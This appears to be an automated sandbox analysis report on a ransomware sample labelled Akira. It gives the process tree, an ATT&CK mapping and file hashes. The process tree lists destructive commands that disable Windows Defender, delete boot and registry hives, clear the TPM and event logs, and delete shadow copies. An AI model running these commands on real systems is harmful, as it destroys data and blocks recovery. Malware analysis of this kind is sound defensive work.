PID 4908 wrote to memory of 2836	4908	cmd.exe	126
PID 5636 wrote to memory of 1604	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	127
PID 5636 wrote to memory of 3332	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	129
PID 5636 wrote to memory of 4260	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	131
PID 5636 wrote to memory of 5236	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	133
PID 5636 wrote to memory of 6116	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	135
PID 5636 wrote to memory of 3244	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	137
PID 5636 wrote to memory of 5084	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	139
PID 5636 wrote to memory of 4012	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	141
PID 5636 wrote to memory of 1340	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	143
PID 5636 wrote to memory of 2424	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	144
PID 5636 wrote to memory of 1984	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	145
PID 5636 wrote to memory of 5764	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	149
PID 5636 wrote to memory of 4756	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	151
PID 5636 wrote to memory of 2964	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	153
PID 5636 wrote to memory of 824	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	156
PID 5636 wrote to memory of 4476	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	158
PID 5636 wrote to memory of 3724	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	160
PID 5636 wrote to memory of 5288	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	163
PID 5636 wrote to memory of 3340	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	165
PID 5636 wrote to memory of 1632	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	167
PID 5636 wrote to memory of 5940	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	169
PID 5636 wrote to memory of 5468	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	171
PID 5636 wrote to memory of 6096	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	172
PID 5636 wrote to memory of 4916	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	175
PID 5636 wrote to memory of 1960	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	177
PID 5636 wrote to memory of 5136	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	179
PID 5636 wrote to memory of 4248	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	181
PID 5636 wrote to memory of 2616	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	183
PID 5636 wrote to memory of 5392	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	184
PID 5636 wrote to memory of 5220	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	187
PID 5636 wrote to memory of 5376	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	189
PID 5636 wrote to memory of 4484	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	191
PID 5636 wrote to memory of 1060	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	193
PID 5636 wrote to memory of 2188	5636	2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe	197

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5636
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:1840
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:5572
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" "/v" "DisableAntiSpyware" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2144
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableRealtimeMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2500
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableBehaviorMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2708
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WinDefend"
  2⤵
  - Launches sc.exe
  PID:5896
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WinDefend" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:2928
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "Sense"
  2⤵
  - Launches sc.exe
  PID:3276
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "Sense" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:6024
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdNisSvc"
  2⤵
  - Launches sc.exe
  PID:5520
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdNisSvc" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:1760
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdBoot"
  2⤵
  - Launches sc.exe
  PID:1772
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdBoot" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdFilter"
  2⤵
  - Launches sc.exe
  PID:4372
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdFilter" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:1260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" "/c" "reg" "delete" "HKLM\BCD00000000" "/f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\system32\reg.exe
    "reg" "delete" "HKLM\BCD00000000" "/f
    3⤵
    PID:2836
- C:\Windows\SYSTEM32\reagentc.exe
  "reagentc" "/disable"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1604
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "recoveryenabled" "No"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3332
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "nx" "AlwaysOff"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4260
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "pae" "ForceDisable"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5236
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "bootlog" "Yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6116
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "noserialmice" "Yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3244
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "safeboot" "Minimal"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5084
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "safebootalternateshell" "yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4012
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{current}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1340
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{bootmgr}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2424
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{memdiag}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1984
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SAM\SAM" "/f"
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SAM\Domains" "/f"
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Services" "/f"
  2⤵
  - Modifies firewall policy service
  - Modifies security service
  - Maps connected drives based on registry
  PID:2964
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "/f"
  2⤵
  PID:824
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SYSTEM\CurrentControlSet\Control" "/v" "SystemStartOptions" "/t" "REG_SZ" "/d" "GARBAGE" "/f"
  2⤵
  PID:4476
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "/f"
  2⤵
  - Adds Run key to start application
  PID:3724
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "/f"
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  - Indicator Removal: Clear Persistence
  PID:5288
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SECURITY\Policy" "/f"
  2⤵
  PID:3340
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\DEFAULT\Software" "/f"
  2⤵
  PID:1632
- C:\Windows\SYSTEM32\fsutil.exe
  "fsutil" "dirty" "set" "C:"
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\tpmtool.exe
  "tpmtool" "clear"
  2⤵
  PID:5468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "/namespace:\\root\cimv2\security\microsofttpm" "path" "Win32_Tpm" "call" "Clear"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6096
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "VSS"
  2⤵
  - Launches sc.exe
  PID:4916
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "VSS" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:1960
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin" "delete" "shadows" "/all" "/quiet"
  2⤵
  - Interacts with shadow copies
  PID:5136
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "shadowcopy" "delete"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4248
- C:\Windows\SYSTEM32\sc.exe
  "sc" "query" "type=" "service" "state=" "all"
  2⤵
  - Launches sc.exe
  PID:2616
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "Application"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5392
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "System"
  2⤵
  PID:5220
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "Security"
  2⤵
  PID:5376
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "computersystem" "set" "AutomaticManagedPagefile=False"
  2⤵
  PID:4484
- C:\Windows\SYSTEM32\powercfg.exe
  "powercfg" "/h" "off"
  2⤵
  - Power Settings
  PID:1060
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 5636 -s 720
  2⤵
  PID:2188

C:\Windows\system32\usoclient.exe
C:\Windows\system32\usoclient.exe ReportPolicies
1⤵
PID:5880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 2018f1b21effd1f1b746e7482f0dda86de48399c7021f0dea3dda8f85b9b1297
MD5 10ac0b9d8c4ce821028eec988f3fa8d9
SHA1 4574b682aa0cec86f41cbcc7db5e5561972043a2
SHA512 f784d6a470358af9c7dcf7a72f9cf9989f79e04230c7efd9d435f8e6d6f3bc7380f83d79303c53c1d79ee4eee57a018c567a8130201a64821c24e6e7bba1052f
TLSH
T1DC41D3338F2282707655E774F569584EEAC3A2A0574D701CFA3FA505BB0A30BCA9D8CD
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 9KB
SHA256 a956e08a12bb657248b11bd5734a32c5a0bc2832b422d42e4b8644a28303e194
MD5 729e686fbe4867f94d01de888299730d
SHA1 3a52c8ce0de8b344637ef3d9ae2e42727d8c879e
SHA512 0ae494ecd2f4bd8ba2828887b06c285fac4cfdfe7e3db23080e67575e94a3d49e718b600cdadce2e7a0272361c0eae1dcc60eef7ad685d39d479f7dc53bccba7
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbneLy:53gbq3gbq3gbY3gbq3gbD
TLSH
T1AC127229B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFB239082F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 10KB
SHA256 93d6c88a274348861bffee93f2f4ed044b8b2e2312ff173779d8e40a48b73b41
MD5 6a88995e6ac3c09cdd76847d81f5ce14
SHA1 74ad6f5a7c477a1f349a0f621c81349888701d85
SHA512 fbfacf255380f7d84d9e33f62277b682d0b085e4b7a4d211f8dad95427586ca587c67c94df9637dc01c4128bfbde5f391efb49c5ca0a9e937036fd0b1b41b299
SSDEEP 96:5MwiGdgbneLHMwiGdgbnEjgCcZ0jHyijqyijHFy6HMwiGdgbnYMwiGdgbneLHMwa:53gbq3gbE7ciX633gbY3gbq3gbD
TLSH
T10722D439B1982EBB5C9446F8DFD038C26F8097794106A03795C4FDAFA279082F5B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\System32\Recovery\ReAgent.xml
Size 1KB
SHA256 894ee2b19608d10df4bf8b8f5bbcf40ce38c09c1f4c5543b6164f40c04bb270d
MD5 44b2da39ceb2c183d5dcd43aa128c2dd
SHA1 502723d48caf7bb6e50867685378b28e84999d8a
SHA512 17744dcaddb49f17fe67dc3a579f4df2b6c2b196776330b71edfc58b37d1f8ae477bfb718d2f23401b78b789b7f984b19341f50fbecfba1bc101f596dee40604
TLSH
T12511B94682B818A6D7B1D266F1F8BD60463FF1DD02E18A5CA029F7D39447452875F970
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5636-61-0x00007FF719FA0000-0x00007FF71A0CA000-memory.dmp

Download

memory/5636-62-0x00007FF719FA0000-0x00007FF71A0CA000-memory.dmp

Download